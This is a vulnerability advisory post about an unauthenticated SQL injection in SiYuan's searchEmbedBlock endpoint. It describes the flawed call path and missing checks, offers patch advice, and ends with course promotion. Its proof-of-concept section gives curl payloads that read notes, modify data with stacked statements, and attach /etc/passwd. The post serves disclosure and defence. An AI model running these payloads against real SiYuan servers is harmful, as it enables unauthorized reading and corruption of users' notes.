Listen to this Post
The /api/search/searchEmbedBlock endpoint in Siyuan passes a client-supplied SQL statement verbatim to the database without any validation. The endpoint is gated by CheckAuth only, making it reachable by the publish RoleReader token and by anonymous accounts when Publish.Auth.Enable is set to false. The statement executes on the main read-write siyuan.db handle through a driver that supports stacked statements, with no single-statement or read-only guard in place. An unauthenticated request can therefore execute arbitrary SQL, enabling both reading and writing of content across all cleartext notebooks. Unlike typical SQL injection vulnerabilities that target fixed queries, this endpoint accepts a full SQL statement by design and simply fails to restrict who may call it or what actions the statement may perform. The data flows verbatim from user input through the call stack without validation: searchEmbedBlock passes the stmt string directly to model.SearchEmbedBlock, which then calls SearchEmbedBlockInBox, sql.SelectBlocksRawStmtNoParse, selectBlocksRawStmt, and finally query(). The query function invokes db.Query(stmt) on the global siyuan.db handle. Comparable endpoints like /api/query/sql enforce CheckSingleStatement, CheckReadonlyStatement, and require admin roles, while fullTextSearchBlock rejects SQL search for non-admins. This endpoint has none of these controls. The router only applies CheckAuth middleware, which admits RoleReader and anonymous traffic on port 6808. The driver processes stacked statements separated by semicolons, and the DSN lacks read-only mode, with ATTACH available. Any post-hoc filtering occurs after query execution, providing no security boundary.
DailyCVE Form:
Platform: Siyuan
Version: Head
Vulnerability: Unauthenticated SQLi
Severity: Critical
Date: 2026-09-03
Prediction: 2026-09-10
What Undercode Say:
Analytics demonstrating proof-of-concept execution:
Build and run vulnerable instance
docker build -f Dockerfile.poc -t siyuan-head .
docker run -d --name siyuan-poc -p 6806:6806 -p 6808:6808 -v /workspace:/siyuan/workspace siyuan-head serve --accessAuthCode=1234567 --port=6806
Verify running
curl -s http://127.0.0.1:6806/api/system/version
Enable publish without auth (replace TOKEN with actual)
curl -X POST http://127.0.0.1:6806/api/setting/setPublish \
-H "Content-Type: application/json" \
-H "Authorization: Token TOKEN" \
-d '{"enable":true,"port":6808,"auth":{"enable":false,"accounts":[]}}'
Anonymous read access confirmed
curl -X POST http://127.0.0.1:6808/api/search/searchEmbedBlock \
-H "Content-Type: application/json" \
-d '{"embedBlockID":"","stmt":"SELECT FROM blocks LIMIT 1","excludeIDs":[]}'
Exploit: (Educational Purposes!)
The vulnerability exists because searchEmbedBlock accepts arbitrary SQL statements without validation. Attackers can execute stacked queries to read, modify, or attach external databases. Example exploit flow:
Read sensitive content across notebooks
curl -X POST http://127.0.0.1:6808/api/search/searchEmbedBlock \
-d '{"embedBlockID":"","stmt":"SELECT id,content FROM blocks WHERE type=\"d\"","excludeIDs":[]}'
Write/modify data via stacked statements
curl -X POST http://127.0.0.1:6808/api/search/searchEmbedBlock \
-d '{"embedBlockID":"","stmt":"UPDATE blocks SET content=\"modified\" WHERE id=\"target\"; SELECT 1","excludeIDs":[]}'
ATTACH external database
curl -X POST http://127.0.0.1:6808/api/search/searchEmbedBlock \
-d '{"embedBlockID":"","stmt":"ATTACH DATABASE \"/etc/passwd\" AS pwd; SELECT FROM pwd.sqlite_master","excludeIDs":[]}'
Protection:
Apply the same controls used by sibling endpoints: route searchEmbedBlock through CheckSingleStatement and CheckReadonlyStatement validation. Gate raw SQL capability behind CheckAdminRole, requiring explicit administrator privileges. At minimum, execute read paths on a _query_only=1 database handle to prevent write operations and ATTACH commands. Update router.go to require admin role for this endpoint.
Impact:
An unauthenticated attacker can execute arbitrary SQL on the main read-write database, enabling complete data disclosure across all cleartext notebooks. The read-write handle allows modification of database content, potential data corruption, and ATTACH-reachable file system access. No admin role, CSRF token, or write permission is required. Encrypted notebooks remain protected, but all cleartext content is exposed.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
